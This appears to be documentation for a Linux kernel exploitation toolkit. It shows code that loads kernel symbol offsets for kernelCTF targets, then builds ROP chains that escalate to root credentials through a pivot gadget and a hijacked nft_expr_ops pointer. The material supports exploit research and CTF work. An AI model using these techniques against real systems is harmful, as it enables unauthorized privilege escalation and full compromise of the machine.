How to get started
Initialize the Target Database
The target database contains all of the information needed to customize the exploit for the current target.
This section describes how to use the prebuilt database, extend it if necessary and how to make it replaceable with an updated version.
Add the necessary includes to the exploit code.
#include <xdk/core.h> #include <xdk/postrip.h>
Include the target_db.
INCBIN
creates a read-only section in the exploit binary with the current target database content.INCBIN(target_db, "target_db.kxdb");
Initialize TargetDb. This constructor uses the
target_db.kxdb
file if exists, otherwise it fallbacks to the compile-timeINCBIN
’d database. This way, the exploit can be customized for running on other targets by supplying anothertarget_db.kxdb
after compilation time.TargetDb kxdb("target_db.kxdb", target_db);
Already available in database structure and symbol offsets are documented in kxdb_tool/config.py. They are added for all the supported targets.
If the needed symbol is not in database, use
Target
object to add it. One object per target needed. For example:Target st("kernelctf", "cos-105-17412.294.34"); st.AddSymbol("nft_last_ops", 0x1acaf20); kxdb.AddTarget(st);
Similar approach could be taken for adding structure and fields information:
st.AddStruct("nft_expr_ops", 128, { {"dump", 64, 8}, {"type", 120, 8} });
Note
128
in the example above is a size of thenft_expr_ops
structure.{"dump", 64, 8}
field is located at the offset of 64 and as is a pointer, size would be 8 for 64-bit architecture.Detect which target the exploit is being run on.
auto target = kxdb.AutoDetectTarget(); printf("[+] Running on target: %s %s\n", target.GetDistro().c_str(), target.GetReleaseName().c_str());
Access pre-defined or added (via
Target
) structures and symbols using following calls:auto size = target.GetStructSize("nft_expr_ops"); // not used, just showing API usage auto offset = target.GetFieldOffset("nft_expr", "ops"); // get the offset of ops field in nft_expr structure *(uint64_t *)&buffer[offset] = kernel_base + target.GetSymbolOffset("nft_last_ops"); // the address of nft_last_ops
Building the Payload
After leaking a kernel address and calculating the KASLR base, you can begin constructing the exploit payload.
Initialize a
Payload
object. This will serve as the buffer for our ROP chain and other necessary data.Payload payload(1024);
To set constants or to reserve areas that must not be altered by the
PayloadBuilder
, set their values explicitly beforehand:payload.SetU64(0, 0x100); // Sets 8 bytes at offset 0 to 0x100. payload.SetU32(24, 0); // Sets 4 bytes at offset 24 to 0 (reserving the area).
Create the
RopChain
. This object is initialized with target-specific information and the KASLR base. You can then add predefined actions to it. TheRet2Usr
utility helps in gracefully returning execution to a user-mode function after the kernel operations are complete.RopChain rop(target, kaslr_base); rop.AddRopAction(RopActionId::COMMIT_INIT_TASK_CREDS); RopUtils::Ret2Usr(rop, (void*)win);
Note Available ROP actions could be found in kxdb_tool/config.py.
Assembling the Final Payload with PayloadBuilder
The PayloadBuilder
automates the process of finding a suitable pivot gadget and combining it with your payload and ROP chain.
Initialize the
PayloadBuilder
with the target’s available pivot gadgets and the KASLR base.PayloadBuilder builder(target.pivots, kaslr_base);
Add the
payload
object to the builder. You need to specify which register will point to your payload buffer (e.g.,Register::RSI
) and the offset within that buffer where the instruction pointer (rip
) will be hijacked.uint64_t rip_off = fake_ops_offs + release_offs; // Calculated offset for RIP control builder.AddPayload(payload, Register::RSI, rip_off);
In the situation when multiple registers contain a pointer to the payload, it’s worth informing
PayloadBuilder
about it:uint64_t rip_off = fake_ops_offs + release_offs; // Calculated offset for RIP control builder.AddPayload(payload, {Register::RSI, Register::RAX}, rip_off);
PayloadBuilder
is capable of handling multiple buffers (and use them if needed to accomodate ROP chain actions). To informPayloadBuilder
about such a setup use:Payload payload1(payload_size_1); Payload payload2(payload_size_2); PayloadBuilder builder(target.pivots, kernel_base); // create builder builder.AddPayload(payload1, std::nullopt, std::nullopt); builder.AddPayload(payload2, Register::RSI, rip_off); // add payload, with register, and rip_offset
Add the
RopChain
to the builder.builder.AddRopChain(rop);
Build the final payload. The
Build()
method will find an appropriate pivot gadget that uses the specified register (RSI
in this case) to redirect execution to your ROP chain. The necessary gadgets and the ROP chain itself will be written into thepayload
object you provided earlier.if(!builder.Build()) exit(-1);
Once built, the
payload
object contains the complete, ready-to-use exploit payload.The contents of the final payload can be printed for inspection and debugging using the
HexDump::Print
method.printf("[+] Payload:\n"); HexDump::Print(payload.GetUsedData());
Note: The
GetUsedData()
method returns only the data actually written to the payload, excluding the unused bytes at the end of the buffer.In cases when pointer to pivot gadget should be part of some other buffer or passed as a parameter it could be obtained in the following way after building the final payload:
*(uint64_t *)&some_buffer[offset] = kernel_base + builder.GetStackPivot().GetGadgetOffset();